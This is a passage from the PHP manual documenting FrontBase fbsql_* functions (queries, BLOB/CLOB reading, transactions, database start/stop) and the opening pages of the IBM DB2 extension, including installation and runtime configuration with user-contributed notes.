fbsql_select_db("database", $link);

$result = fbsql_query("SELECT * FROM table1;", $link);
$num_rows = fbsql_num_rows($result);

echo "$num_rows Rows\n";

?>

See Also

  • fbsql_affected_rows() - Get number of affected rows in previous FrontBase operation
  • fbsql_connect() - Open a connection to a FrontBase Server
  • fbsql_select_db() - Select a FrontBase database
  • fbsql_query() - Send a FrontBase query

User Contributed Notes

daggillies at yahoo dot com 05-Apr-2002 12:29
Note that this function will not always return the actual size of a result set. For example, if you are doing a two-table join along the lines of "SELECT * FROM T1,T2 where T1.x=T2.x" you will get a result of -1. This is due to the 'lazy execution' model in FrontBase whereby result rows are only returned as you request them. If you absolutely have to have the number of rows in advance then you will have to use COUNT(*) first. Most of the time you do not need to know the exact number of rows; it is good enough to know if the size of the result set is non-zero.

David Gillies
San Jose
Costa Rica
fbsql_num_fields
fbsql_password
FrontBase Functions


Get or set the user password used with a connection

fbsql_num_rows
fbsql_pconnect
FrontBase Functions
PHP Manual

fbsql_password

(PHP 4 >= 4.0.6, PHP 5)

fbsql_password — Get or set the user password used with a connection

Description

string fbsql_password ( resource $link_identifier [, string $password ] )

Get or set the user password used with a connection.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

password

If provided, this will be the new connection password.

Return Values

Returns the current password used for the connection.

See Also

  • fbsql_username() - Get or set the username for the connection
  • fbsql_hostname() - Get or set the host name used with a connection

User Contributed Notes

There are no user contributed notes for this page.
fbsql_num_rows
fbsql_pconnect
FrontBase Functions


Open a persistent connection to a FrontBase Server

fbsql_password
fbsql_query
FrontBase Functions
PHP Manual

fbsql_pconnect

(PHP 4 >= 4.0.6, PHP 5)

fbsql_pconnect — Open a persistent connection to a FrontBase Server

Description

 resource fbsql_pconnect
  ([ string $hostname = ini_get("fbsql.default_host")
 [, string $username = ini_get("fbsql.default_user")
 [, string $password = ini_get("fbsql.default_password")
]]] )

Establishes a persistent connection to a FrontBase server.

To set the server port number, use fbsql_select_db().

fbsql_pconnect() acts very much like fbsql_connect() with two major differences:

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use.

This type of links is therefore called 'persistent'.

Parameters

hostname

The server host name.

username

The user name for the connection.

password

The password for the connection.

Return Values

Returns a positive FrontBase persistent link identifier on success, or FALSE on error.

See Also

  • fbsql_connect() - Open a connection to a FrontBase Server

User Contributed Notes

There are no user contributed notes for this page.
fbsql_password
fbsql_query
FrontBase Functions


Send a FrontBase query

fbsql_pconnect
fbsql_read_blob
FrontBase Functions
PHP Manual

fbsql_query

(PHP 4 >= 4.0.6, PHP 5)

fbsql_query — Send a FrontBase query

Description

resource fbsql_query ( string $query [, resource $link_identifier [, int $batch_size ]] )

Sends a query to the currently active database on the server.

If the query succeeds, you can call fbsql_num_rows() to find out how many rows were returned for a SELECT statement or fbsql_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

Parameters

query

The SQL query to be executed.

Note:

The query string shall always end with a semicolon.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

batch_size

Return Values

fbsql_query() returns TRUE (non-zero) or FALSE to indicate whether or not the query succeeded. A return value of TRUE means that the query was legal and could be executed by the server. It does not indicate anything about the number of rows affected or returned. It is perfectly possible for a query to succeed but affect no rows or return no rows.

For SELECT statements, fbsql_query() returns a new result identifier that you can pass to fbsql_result().

fbsql_query() will also fail and return FALSE if you don't have permission to access the table(s) referenced by the query.

Examples

The following query is syntactically invalid, so fbsql_query() fails and returns FALSE:

Example #1 fbsql_query() example

<?php
$result = fbsql_query("SELECT * WHERE 1=1")
    or die ("Invalid query");
?>

The following query is semantically invalid if my_col is not a column in the table my_tbl, so fbsql_query() fails and returns FALSE:

Example #2 fbsql_query() example

<?php
$result = fbsql_query ("SELECT my_col FROM my_tbl;")
    or die ("Invalid query");
?>

See Also

  • fbsql_affected_rows() - Get number of affected rows in previous FrontBase operation
  • fbsql_db_query() - Send a FrontBase query
  • fbsql_free_result() - Free result memory
  • fbsql_result() - Get result data
  • fbsql_select_db() - Select a FrontBase database
  • fbsql_connect() - Open a connection to a FrontBase Server

User Contributed Notes

There are no user contributed notes for this page.
fbsql_pconnect
fbsql_read_blob
FrontBase Functions


Read a BLOB from the database

fbsql_query
fbsql_read_clob
FrontBase Functions
PHP Manual

fbsql_read_blob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_read_blob — Read a BLOB from the database

Description

string fbsql_read_blob ( string $blob_handle [, resource $link_identifier ] )

Reads BLOB data from the database.

If a select statement contains BLOB and/or CLOB columns FrontBase will return the data directly when data is fetched. This default behavior can be changed with fbsql_set_lob_mode() so the fetch functions will return handles to BLOB and CLOB data. If a handle is fetched a user must call fbsql_read_blob() to get the actual BLOB data from the database.

Parameters

blob_handle

A BLOB handle, returned by fbsql_create_blob().

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a string containing the specified BLOB data.

Examples

Example #1 fbsql_read_blob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
$sql = "SELECT BLOB_COLUMN FROM BLOB_TABLE;";
$rs = fbsql_query($sql, $link);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] will now contain the blob data for the first row
fbsql_free_result($rs);

$rs = fbsql_query($sql, $link);
fbsql_set_lob_mode($rs, FBSQL_LOB_HANDLE);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] will now contain a handle to the BLOB data in the first row
$blob_data = fbsql_read_blob($row_data[0]);
fbsql_free_result($rs);

?>

See Also

  • fbsql_create_blob() - Create a BLOB
  • fbsql_read_clob() - Read a CLOB from the database
  • fbsql_set_lob_mode() - Set the LOB retrieve mode for a FrontBase result set

User Contributed Notes

There are no user contributed notes for this page.
fbsql_query
fbsql_read_clob
FrontBase Functions


Read a CLOB from the database

fbsql_read_blob
fbsql_result
FrontBase Functions
PHP Manual

fbsql_read_clob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_read_clob — Read a CLOB from the database

Description

string fbsql_read_clob ( string $clob_handle [, resource $link_identifier ] )

Reads CLOB data from the database.

If a select statement contains BLOB and/or CLOB columns FrontBase will return the data directly when data is fetched. This default behavior can be changed with fbsql_set_lob_mode() so the fetch functions will return handles to BLOB and CLOB data. If a handle is fetched a user must call fbsql_read_clob() to get the actual CLOB data from the database.

Parameters

clob_handle

A CLOB handle, returned by fbsql_create_clob().

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a string containing the specified CLOB data.

Examples

Example #1 fbsql_read_clob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
$sql = "SELECT CLOB_COLUMN FROM CLOB_TABLE;";
$rs = fbsql_query($sql, $link);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] will now contain the clob data for the first row
fbsql_free_result($rs);

$rs = fbsql_query($sql, $link);
fbsql_set_lob_mode($rs, FBSQL_LOB_HANDLE);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] will now contain a handle to the CLOB data in the first row
$clob_data = fbsql_read_clob($row_data[0]);
fbsql_free_result($rs);

?>

See Also

  • fbsql_create_clob() - Create a CLOB
  • fbsql_read_blob() - Read a BLOB from the database
  • fbsql_set_lob_mode() - Set the LOB retrieve mode for a FrontBase result set

User Contributed Notes

There are no user contributed notes for this page.
fbsql_read_blob
fbsql_result
FrontBase Functions


Get result data

fbsql_read_clob
fbsql_rollback
FrontBase Functions
PHP Manual

fbsql_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_result — Get result data

Description

mixed fbsql_result ( resource $result [, int $row [, mixed $field ]] )

Returns the contents of one cell from a FrontBase result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than fbsql_result().

Calls to fbsql_result() should not be mixed with calls to other functions that deal with the result set.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

row

field

Can be the field's offset, or the field's name, or the field's table dot field's name (tablename.fieldname).

If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name.

Note:

Specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Return Values

See Also

Recommended high-performance alternatives:

  • fbsql_fetch_row() - Get a result row as an enumerated array
  • fbsql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_assoc() - Fetch a result row as an associative array
  • fbsql_fetch_object() - Fetch a result row as an object

User Contributed Notes

There are no user contributed notes for this page.
fbsql_read_clob
fbsql_rollback
FrontBase Functions


Rollback a transaction to the database

fbsql_result
fbsql_rows_fetched
FrontBase Functions
PHP Manual

fbsql_rollback

(PHP 4 >= 4.0.6, PHP 5)

fbsql_rollback — Rollback a transaction to the database

Description

bool fbsql_rollback ([ resource $link_identifier ] )

Ends the current transaction by rolling back all statements issued since last commit.

This command is only needed if autocommit is set to false.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_autocommit() - Enable or disable autocommit
  • fbsql_commit() - Commits a transaction to the database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_result
fbsql_rows_fetched
FrontBase Functions


Get the number of rows affected by the last statement

fbsql_rollback
fbsql_select_db
FrontBase Functions
PHP Manual

fbsql_rows_fetched

(PHP 5 >= 5.1.0)

fbsql_rows_fetched — Get the number of rows affected by the last statement

Description

int fbsql_rows_fetched ( resource $result )

Gets the number of rows affected by the last statement.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns the number of rows, as an integer.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_rollback
fbsql_select_db
FrontBase Functions


Select a FrontBase database

fbsql_rows_fetched
fbsql_set_characterset
FrontBase Functions
PHP Manual

fbsql_select_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_select_db — Select a FrontBase database

Description

bool fbsql_select_db ([ string $database_name [, resource $link_identifier ]] )

Sets the current active database on the given link identifier.

The client contacts FBExec to obtain the port number to use for the connection to the database. If the database name is a number the system will use that as a port number and it will not ask FBExec for the port number. The FrontBase server can be stared as FRontBase -FBExec=No -port=<port number> <database name>.

Every subsequent call to fbsql_query() will be made on the active database.

Parameters

database_name

The name of the database to be selected.

If the database is protected with a database password, the you must call fbsql_database_password() before selecting the database.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_connect() - Open a connection to a FrontBase Server
  • fbsql_pconnect() - Open a persistent connection to a FrontBase Server
  • fbsql_database_password() - Sets or retrieves the password for a FrontBase database
  • fbsql_query() - Send a FrontBase query

User Contributed Notes

There are no user contributed notes for this page.
fbsql_rows_fetched
fbsql_set_characterset
FrontBase Functions


Change input/output character set

fbsql_select_db
fbsql_set_lob_mode
FrontBase Functions
PHP Manual

fbsql_set_characterset

(PHP 5 >= 5.1.0)

fbsql_set_characterset — Change input/output character set

Description

void fbsql_set_characterset ( resource $link_identifier , int $characterset [, int $in_out_both ] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_select_db
fbsql_set_lob_mode
FrontBase Functions


Set the LOB retrieve mode for a FrontBase result set

fbsql_set_characterset
fbsql_set_password
FrontBase Functions
PHP Manual

fbsql_set_lob_mode

(PHP 4 >= 4.2.0, PHP 5)

fbsql_set_lob_mode — Set the LOB retrieve mode for a FrontBase result set

Description

bool fbsql_set_lob_mode ( resource $result , int $lob_mode )

Sets the mode for retrieving LOB data from the database.

When BLOB and CLOB data is retrieved in FrontBase it can be retrieved direct or indirect. Direct retrieved LOB data will always be fetched no matter the setting of the lob mode. If the LOB data is less than 512 bytes it will always be retrieved directly.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

lob_mode

Can be one of:

  • FBSQL_LOB_DIRECT - LOB data is retrieved directly. When data is fetched from the database with fbsql_fetch_row(), and other fetch functions, all CLOB and BLOB columns will be returned as ordinary columns. This is the default value on a new FrontBase result.
  • FBSQL_LOB_HANDLE - LOB data is retrieved as handles to the data. When data is fetched from the database with fbsql_fetch_row(), and other fetch functions, LOB data will be returned as a handle to the data if the data is stored indirect or the data if it is stored direct. If a handle is returned it will be a 27 byte string formatted as @'000000000000000000000000'.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_create_blob() - Create a BLOB
  • fbsql_create_clob() - Create a CLOB
  • fbsql_read_blob() - Read a BLOB from the database
  • fbsql_read_clob() - Read a CLOB from the database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_set_characterset
fbsql_set_password
FrontBase Functions


Change the password for a given user

fbsql_set_lob_mode
fbsql_set_transaction
FrontBase Functions
PHP Manual

fbsql_set_password

(PHP 5)

fbsql_set_password — Change the password for a given user

Description

bool fbsql_set_password ( resource $link_identifier , string $user , string $password , string $old_password )

Changes the password for the given user.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

user

The user name.

password

The new password to be set.

old_password

The old password to be replaced.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_set_lob_mode
fbsql_set_transaction
FrontBase Functions


Set the transaction locking and isolation

fbsql_set_password
fbsql_start_db
FrontBase Functions
PHP Manual

fbsql_set_transaction

(PHP 4 >= 4.2.0, PHP 5)

fbsql_set_transaction — Set the transaction locking and isolation

Description

void fbsql_set_transaction ( resource $link_identifier , int $locking , int $isolation )

Sets the transaction locking and isolation.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

locking

The type of locking to be set. It can be one of the following constants: FBSQL_LOCK_DEFERRED, FBSQL_LOCK_OPTIMISTIC, or FBSQL_LOCK_PESSIMISTIC.

isolation

The type of isolation to be set. It can be one of the following constants: FBSQL_ISO_READ_UNCOMMITTED, FBSQL_ISO_READ_COMMITTED, FBSQL_ISO_REPEATABLE_READ, FBSQL_ISO_SERIALIZABLE, or FBSQL_ISO_VERSIONED.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_set_password
fbsql_start_db
FrontBase Functions


Start a database on local or remote server

fbsql_set_transaction
fbsql_stop_db
FrontBase Functions
PHP Manual

fbsql_start_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_start_db — Start a database on local or remote server

Description

bool fbsql_start_db ( string $database_name [, resource $link_identifier [, string $database_options ]] )

Start a database on local or remote server.

Parameters

database_name

The database name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

database_options

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_db_status() - Get the status for a given database
  • fbsql_stop_db() - Stop a database on local or remote server

User Contributed Notes

There are no user contributed notes for this page.
fbsql_set_transaction
fbsql_stop_db
FrontBase Functions


Stop a database on local or remote server

fbsql_start_db
fbsql_table_name
FrontBase Functions
PHP Manual

fbsql_stop_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_stop_db — Stop a database on local or remote server

Description

bool fbsql_stop_db ( string $database_name [, resource $link_identifier ] )

Stops a database on local or remote server.

Parameters

database_name

The database name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_db_status() - Get the status for a given database
  • fbsql_start_db() - Start a database on local or remote server

User Contributed Notes

There are no user contributed notes for this page.
fbsql_start_db
fbsql_table_name
FrontBase Functions


Get table name of field

fbsql_stop_db
fbsql_tablename
FrontBase Functions
PHP Manual

fbsql_table_name

(PHP 4 >= 4.2.0, PHP 5)

fbsql_table_name — Get table name of field

Description

string fbsql_table_name ( resource $result , int $index )

fbsql_table_name() gets the name of the current table in the given result set.

The fbsql_num_rows() function may be used to determine the number of tables in the result pointer.

Parameters

result

A result pointer returned by fbsql_list_tables().

index

Integer index for the current table.

Return Values

Returns the name of the table, as a string.

Examples

Example #1 fbsql_table_name() example

<?php
fbsql_connect("localhost", "_SYSTEM", "");
$result = fbsql_list_tables("wisconsin");
$i = 0;
while ($i < fbsql_num_rows($result)) {
    $tb_names[$i] = fbsql_table_name($result, $i);
    echo $tb_names[$i] . "<br />";
    $i++;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
fbsql_stop_db
fbsql_tablename
FrontBase Functions


Alias of fbsql_table_name

fbsql_table_name
fbsql_username
FrontBase Functions
PHP Manual

fbsql_tablename

(PHP 4 >= 4.2.0, PHP 5)

fbsql_tablename — Alias of fbsql_table_name()

Description

This function is an alias of: fbsql_table_name().

User Contributed Notes

There are no user contributed notes for this page.
fbsql_table_name
fbsql_username
FrontBase Functions


Get or set the username for the connection

fbsql_tablename
fbsql_warnings
FrontBase Functions
PHP Manual

fbsql_username

(PHP 4 >= 4.0.6, PHP 5)

fbsql_username — Get or set the username for the connection

Description

string fbsql_username ( resource $link_identifier [, string $username ] )

Get or set the username used for the connection.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

username

If provided, this is the new username to set.

Return Values

Returns the current username used with the connection, as a string.

See Also

  • fbsql_password() - Get or set the user password used with a connection
  • fbsql_hostname() - Get or set the host name used with a connection

User Contributed Notes

There are no user contributed notes for this page.
fbsql_tablename
fbsql_warnings
FrontBase Functions


Enable or disable FrontBase warnings

fbsql_username
IBM DB2
FrontBase Functions
PHP Manual

fbsql_warnings

(PHP 4 >= 4.0.6, PHP 5)

fbsql_warnings — Enable or disable FrontBase warnings

Description

bool fbsql_warnings ([ bool $OnOff ] )

Enables or disables FrontBase warnings.

Parameters

OnOff

Whether to enable warnings or no.

Return Values

Returns TRUE if warnings is turned on, FALSE otherwise.

See Also

  • fbsql_errno() - Returns the error number from previous operation
  • fbsql_error() - Returns the error message from previous operation

User Contributed Notes

There are no user contributed notes for this page.
fbsql_username
IBM DB2
FrontBase Functions


IBM DB2, Cloudscape and Apache Derby

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • IBM DB2 Functions
    • db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection
    • db2_bind_param — Binds a PHP variable to an SQL statement parameter
    • db2_client_info — Returns an object with properties that describe the DB2 database client
    • db2_close — Closes a database connection
    • db2_column_privileges — Returns a result set listing the columns and associated privileges for a table
    • db2_columns — Returns a result set listing the columns and associated metadata for a table
    • db2_commit — Commits a transaction
    • db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt
    • db2_conn_errormsg — Returns the last connection error message and SQLCODE value
    • db2_connect — Returns a connection to a database
    • db2_cursor_type — Returns the cursor type used by a statement resource
    • db2_escape_string — Used to escape certain characters
    • db2_exec — Executes an SQL statement directly
    • db2_execute — Executes a prepared SQL statement
    • db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set
    • db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set
    • db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set
    • db2_fetch_object — Returns an object with properties representing columns in the fetched row
    • db2_fetch_row — Sets the result set pointer to the next row or requested row
    • db2_field_display_size — Returns the maximum number of bytes required to display a column
    • db2_field_name — Returns the name of the column in the result set
    • db2_field_num — Returns the position of the named column in a result set
    • db2_field_precision — Returns the precision of the indicated column in a result set
    • db2_field_scale — Returns the scale of the indicated column in a result set
    • db2_field_type — Returns the data type of the indicated column in a result set
    • db2_field_width — Returns the width of the current value of the indicated column in a result set
    • db2_foreign_keys — Returns a result set listing the foreign keys for a table
    • db2_free_result — Frees resources associated with a result set
    • db2_free_stmt — Frees resources associated with the indicated statement resource
    • db2_get_option — Retrieves an option value for a statement resource or a connection resource
    • db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection
    • db2_lob_read — Gets a user defined size of LOB files with each invocation
    • db2_next_result — Requests the next result set from a stored procedure
    • db2_num_fields — Returns the number of fields contained in a result set
    • db2_num_rows — Returns the number of rows affected by an SQL statement
    • db2_pclose — Closes a persistent database connection
    • db2_pconnect — Returns a persistent connection to a database
    • db2_prepare — Prepares an SQL statement to be executed
    • db2_primary_keys — Returns a result set listing primary keys for a table
    • db2_procedure_columns — Returns a result set listing stored procedure parameters
    • db2_procedures — Returns a result set listing the stored procedures registered in a database
    • db2_result — Returns a single column from a row in the result set
    • db2_rollback — Rolls back a transaction
    • db2_server_info — Returns an object with properties that describe the DB2 database server
    • db2_set_option — Set options for connection or statement resources
    • db2_special_columns — Returns a result set listing the unique row identifier columns for a table
    • db2_statistics — Returns a result set listing the index and statistics for a table
    • db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement
    • db2_stmt_errormsg — Returns a string containing the last SQL statement error message
    • db2_table_privileges — Returns a result set listing the tables and associated privileges in a database
    • db2_tables — Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_warnings
Introduction
Vendor Specific Database Extensions


Introduction

These functions enable you to access IBM DB2 Universal Database, IBM Cloudscape, and Apache Derby databases using the DB2 Call Level Interface (DB2 CLI).

User Contributed Notes

There are no user contributed notes for this page.
IBM DB2
Installing/Configuring
IBM DB2


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

Morten Bjoernsvik 07-May-2008 12:07
On linux I've found that I explicitly have to add the -c <path to php.ini> with the shell and
PHPIniDir="/etc/php.ini" in php5.conf or httpd.conf otherwise the ibm_db2.so is not loaded.

It doesn't help setting the --sysconfdir=/etc for configure when compiling.

% php -m | grep db2
% php -c /etc -m | grep db2
ibm_db2
juraj dot hrapko at gmail dot com 27-Apr-2008 11:36
After  installation of ibm_db2 on Linux, you have to add into php.ini:
extension=/path_to_file/ibm_db2.so
ibm_db2.instance_name=instance

Dont forget the path to ibm_db2.so. As for me it does not work without the path.
Introduction
Requirements
IBM DB2


Requirements

To connect to IBM DB2 Universal Database for Linux, UNIX, and Windows, or IBM Cloudscape, or Apache Derby, you must install an IBM DB2 Universal Database client on the same computer on which you are running PHP. The extension has been developed and tested with DB2 Version 8.2.

To connect to IBM DB2 Universal Database for z/OS or iSeries, you also require IBM DB2 Connect or the equivalent DRDA gateway software.

Requirements on Linux or Unix

The user invoking the PHP executable or SAPI must specify the DB2 instance before accessing these functions. You can set the name of the DB2 instance in php.ini using the ibm_db2.instance_name configuration option, or you can source the DB2 instance profile before invoking the PHP executable.

If you created a DB2 instance named db2inst1 in /home/db2inst1/, for example, you can add the following line to php.ini:

ibm_db2.instance_name=db2inst1
If you do not set this option in php.ini, you must issue the following command to modify your environment variables to enable access to DB2:
bash$ source /home/db2inst1/sqllib/db2profile
To enable your PHP-enabled Web server to access these functions, you must either set the ibm_db2.instance_name configuration option in php.ini, or source the DB2 instance environment in your Web server start script (typically /etc/init.d/httpd or /etc/init.d/apache).

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

To build the ibm_db2 extension, the DB2 application development header files and libraries must be installed on your system. DB2 does not install these by default, so you may have to return to your DB2 installer and add this option. The header files are included with the DB2 Application Development Client freely available for download from the IBM DB2 Universal Database » support site.

If you add the DB2 application development header files and libraries to a Linux or Unix operating system on which DB2 was already installed, you must issue the command db2iupdt -e to update the symbolic links to the header files and libraries in your DB2 instances.

ibm_db2 is a » PECL extension, so follow the instructions in Installation of PECL extensions to install the ibm_db2 extension for PHP. Issue the configure command to point to the location of your DB2 header files and libraries as follows:

bash$ ./configure --with-IBM_DB2=/path/to/DB2
The configure command defaults to /opt/IBM/db2/V8.1.

Note: Note for IIS users

If you are using the ibm_db2 driver with Microsoft Internet Information Server (IIS) you may have to do the following:

  • Install DB2 with extended operating system security.
  • Add the PHP binary path to the PATH system environment variable (default C:\php\).
  • Create another system environment variable equal to the path where the PHP.INI file is located (eg: PHPRC = C:\php\).
  • Add the IUSR_COMPUTERNAME to the DB2USERS group.

User Contributed Notes

angoca at yahoo dot com 25-Nov-2011 08:29
In DB2 v9 the clients have changed their names. Now, they are called

Data server client

If you search in Internet "DB2 fixpack" you will get an IBM address like

http://www-01.ibm.com/support/docview.wss?uid=swg24031181

You select the DB2 version and fixpack level, then the platform and finally the product, that in this case is "Data Server client"
kpfitzgerald at gmail dot com 01-Apr-2011 10:14
Actually a much simpler way on SLES 11 SP1 and DB2 Express C  is to execute the following.

pecl install ibm_db2

when it asks for your path put in your location of SQLLIB not your db2 install. usually found here...

/home/db2inst1/sqllib

to verify execute
pecl list

Should show the following:

Installed packages, channel pecl.php.net:
=========================================
Package Version State
ibm_db2 1.9.1   stable
hellboy1975 at gmail dot com 29-Jul-2010 05:12
Took me a little while to found this, so I thought it may help someone else down the track.  You can grab the latest versions of the php_ibm_db2.dll files for Windows IIS & PHP5+ from this site on Sourceforge:

http://sourceforge.net/projects/db2mc/files/
AngocA 27-Mar-2009 03:12
I installed this tool foolwing the next steps:

(Prereq: I've installed DB2 express-c before, and also Apache and php)

- Download the file: ibm_db2-1.8.2.tgz
- Untar the file: tar -xvf ibm_db2-1.8.2.tgz
- Go to the main directory
- Execute 'phpize' and that creates several files.
- Execute './configure --with-IBM_DB2=/opt/ibmn/db2/V9.5_01'
- Execute 'make'
- Execute 'make install'
- Modify the php.ini file in order to activate the ibm_db2.so extension.
    extension=ibm_db2.so

To check that the library is included: php -i

Then, you have to restart Apache: httpd -k restart
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

ibm_db2 Configure Options
Name | Default | Changeable | Changelog
ibm_db2.binmode | "1" | PHP_INI_ALL |
ibm_db2.i5_all_pconnect | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.6.5.
ibm_db2.i5_allow_commit | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.4.9.
ibm_db2.i5_dbcs_alloc | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.5.0.
ibm_db2.instance_name | NULL | PHP_INI_SYSTEM | Available since ibm_db2 1.0.2.
ibm_db2.i5_ignore_userid | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.8.0.

Here's a short explanation of the configuration directives.

ibm_db2.binmode integer

This option controls the mode used for converting to and from binary data in the PHP application.

  • 1 (DB2_BINARY)

  • 2 (DB2_CONVERT)

  • 3 (DB2_PASSTHRU)

ibm_db2.i5_all_pconnect integer

This option overrides i5 db2_connect() full open and close in the PHP application. When ibm_db2.i5_all_pconnect = 1, all db2 connections become persistent (db2_pconnect()). On i5/OS, db2_pconnect() performs dramatically better with lower machine stress over db2_connect(). This is a convenience override of db2_connect() to evoke db2_pconnect() without PHP source code changes.

  • 0 db2_connect() default full open and close

  • 1 db2_connect() override to db2_pconnect() for persistent connection only

ibm_db2.i5_allow_commit integer

This option controls the commit mode used for i5 schema collections in the PHP application.

  • 0 no commit (see i5_commit for override)

  • 1 allow commit (see i5_commit for override)

ibm_db2.i5_dbcs_alloc integer

This option controls the internal ibm_db2 allocation scheme for large DBCS column buffers.

  • 0 no expanded allocations (see i5_dbcs_alloc for override)

  • 1 use expanded allocations (see i5_dbcs_alloc for override)

ibm_db2.instance_name string

On Linux and UNIX operating systems, this option defines the name of the instance to use for cataloged database connections. If this option is set, its value overrides the DB2INSTANCE environment variable setting.

This option is ignored on Windows operating systems.

ibm_db2.i5_ignore_userid integer

This option overrides i5 db2_(p)connect userid and password in the PHP application. When ibm_db2.i5_ignore_userid = 1, all db2 (p)connections become null userid and null password. Therefore Apache jobs connect with the current profile (NOBODY). Use of this override is only for simple DB2 based websites that never require profile switching and therefore can avoid all overhead of server mode additional QSQSRVR jobs. This is a convenience override of db2_(p)connect to set the userid and password values to null without PHP source code changes. This override can be used in combination with ibm_db2.i5_all_pconnect = 1.

  • 0 db2_(p)connect with specified userid and password

  • 1 db2_(p)connect override connect with null userid and null password

User Contributed Notes

yoshida at zend dot co dot jp 22-Feb-2011 07:00
The explanation of ibm_db2.i5_dbcs_alloc seems to be hard to understand for me.

In ibm_db2 extension inside, 6 times length of string column is allocated if i5_dbcs_alloc value is 1.
The allocated area is used for conversion between UTF-8 and EBCDIC character encodings.

By the definition of UTF-8, letter length can need 6 bytes at the maximum.

Note:
In the case of a long column, allocated size may be beyond the upper limit defined in DB2 because original column is made by 6 times.  It can cause result data becomes null.
Installation
Resource Types
Installing/Configuring


